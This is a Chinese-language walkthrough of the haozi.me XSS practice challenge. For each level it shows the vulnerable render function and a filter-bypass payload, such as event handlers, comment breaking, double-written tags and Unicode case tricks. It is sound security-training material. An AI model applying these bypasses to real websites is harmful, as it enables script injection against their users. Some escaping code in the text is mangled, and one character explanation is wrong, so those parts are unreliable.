xss在线闯关haozi.me
0x00
function render (input) {
return '<div>' + input + '</div>'
}
可以直接注入
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
有textarea(创建文本输入框标签),闭合改标签即可注入
</textarea><script>alert(1)</script>
0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
注入点把值转为字符串,把前双引号闭合即可,
-
直接加事件
"onclick='alert(1)' //需要点击输入框 -
闭合input标签
“><script>alert(1)</script>
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
匹配(和)将其替换为空格
<script>alert`1`</script>
`可以替代括号
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
匹配(、)和`将其替换为空格
可以用bp自带功能把(1)转为HTML实体

因为是HTML实体,所以不能直接用在script标签内
<img src=# onerror=alert(1)>
0x05
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
需要闭合注释标签,但是-->会被替换为😂
html注释有两种形式:
<!-- 注释内容 -->
<!-- 注释内容 --!>
--!><script>alert(1)</script>
0x06
function render (input) {
input = input.replace(/auto|on.*=| >/ig, '_')
return `<input value=1 ${input} type="text">`
}
将
- auto字符串
- 以on开头以=结尾的字符串
>
替换为_
无法用>闭合标签,无法用on开头的事件
但是它没有屏蔽换行符
onclick
=alert(1) //需要点击输入框
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
将</任意字符>或<任意字符>替换为空格
需要闭合article标签(表示页面中一块独立的、完整的文章内容或信息块)
html支持一些单标签不闭合解析
<img src=# onerror=alert(1)
注意加个空格不要和article闭合标签连起来
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
将</style>替换为带注释标签的坏人二字
-
可以多加一个空格造成正则逃逸
</style ><script>alert(1)</script> -
或者加换行
</style ><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
如果输入中含有http://www.segmentfault.com则嵌到<script>标签的字符串中返回
-
在网址后边加字符使网址失效,闭合双引号,添加onerror事件
http://www.segmentfault.com1" onerror=alert(1) -
或者将script标签闭合
https://www.segmentfault.com"></script> <script> alert(1) </script>
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
匹配网址https://www.segmentfault.com且将&‘“<>\等符号都转义了,无法对字符串本身操作了
想办法对跳转的网址进行操作,可以直接引用指定网站下的目录文件来达到xss注入的目的,靶场目录下有个j.js文件,内容是弹窗的代码。
https://www.segmentfault.com.haozi.me/j.js
0x0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
把输入的小写字母字符全部转为大写字母
- HTML中对大小写不敏感
- JS中对大小写敏感
所以要把js代码转为html实体,又因为是html实体所以不能放在script标签内,所以使用事件
</h1> <img src=# onerror='alert(1)'
//单标签不闭合也可以
- 域名对大小写也不敏感
所以调用靶场带的js文件也可以
</h1> <script src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
把输入的小写字母字符全部转为大写字母,且屏蔽script
还是:html对大小写不敏感,JS对大小写敏感,利用html实体将JS写在html标签的事件内
</h1> <img src=# onerror='alert(1)'
本题将script替换为空格所以可以使用双写绕过+上一题的思路:
</h1> <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>'
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
过滤</"‘
回车可以破坏//单行注释
再配合js注释-->把后面的字符注释掉
alert(1)
-->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
-
将所有
<加一个字母的组合换成<_$1
标签不能加 -
把所有输入的字符转为大写
js不能直接写
尝试使用html实体,字母会变大写,无法使用
逆向思维:找到大写是j的字符: ſ (古英文, 拉丁文)
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
- &`“<>/等字符被html编码
但是由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行
先把单引号和左括号闭合,再把后面的代码注释掉
');alert(1);//
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
无过滤
直接闭合函数
1;alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
常用符号以及换行符等都被转义了
//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)
闭合console.log,继续在JavaScript伪协议里写下一句,注释之后的代码
");alert(1);//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
“被转义无法闭合”
-
可以在
“之前加\将过滤加的转义符转义掉\");alert(1);// -
或者script标签内嵌
</script><script>alert(1)</script><script>

浙公网安备 33010602011771号